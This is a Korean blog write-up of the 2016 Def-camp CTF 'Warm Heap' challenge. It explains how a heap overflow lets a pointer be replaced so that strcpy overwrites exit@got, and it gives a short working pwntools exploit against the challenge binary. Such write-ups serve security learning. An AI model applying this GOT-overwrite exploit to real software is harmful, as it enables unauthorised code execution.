-
[Def-camp CTF] Warm HeapCTF 2016. 10. 31. 01:05
HEAP 기초 문제부터 하나하나 풀어보려다가 이 문제를 알게되어 그냥 풀어보았다.
간단한 문제엿다
각각 malloc을 하고 입력받는 구조를 가진다.
힙의 상태는 아래 사진과 같다.
chunk 사이즈는 16바이트를 할당하면 64비트이기때문에 prev_size와 size가 추기때문에 16바이트가 추가로 생성된다.
*(v3 + 1) = malloc(8);
*(v4 + 1) = malloc(8);
이 두개의 코드 때문에 다음 청크의 주소가 malloc 데이터안에 들어가게된다.
다음 fgets로 입력받고, 두번째 malloc 영역부터 입력을 받는데, 40바이트를 입력하면 0x02045070전까지 도달할수있다.
만약 여기서 뒤에 호출되는 함수의 GOT를 넣으면 v4 + 1은 GOT가 된상태로, strcpy로 복사를 해버리게된다.
그럼 덮을 수 있다!
exit@got 가 제대로 덮힌것을 확인 할 수 있다.
1234567891011from pwn import *#p = remote("10.211.55.3",9900)p = process("exp100.bin")exit_got = 0x601068flag = 0x400826p.sendline("A"*40 + p64(exit_got))p.sendline(p32(flag))p.interactive()cs 쉬워도 이해좀해주세요 ㅠㅠ'CTF' 카테고리의 다른 글
[HSOC] ConsoleRPG (0) 2016.11.06 [0ctf] freenote (0) 2016.11.04 WITHCON Finals - jnjn (0) 2016.10.25 WITHCON Finals - BPTime router (1) 2016.10.25 [BCTF] BCloud (0) 2016.10.23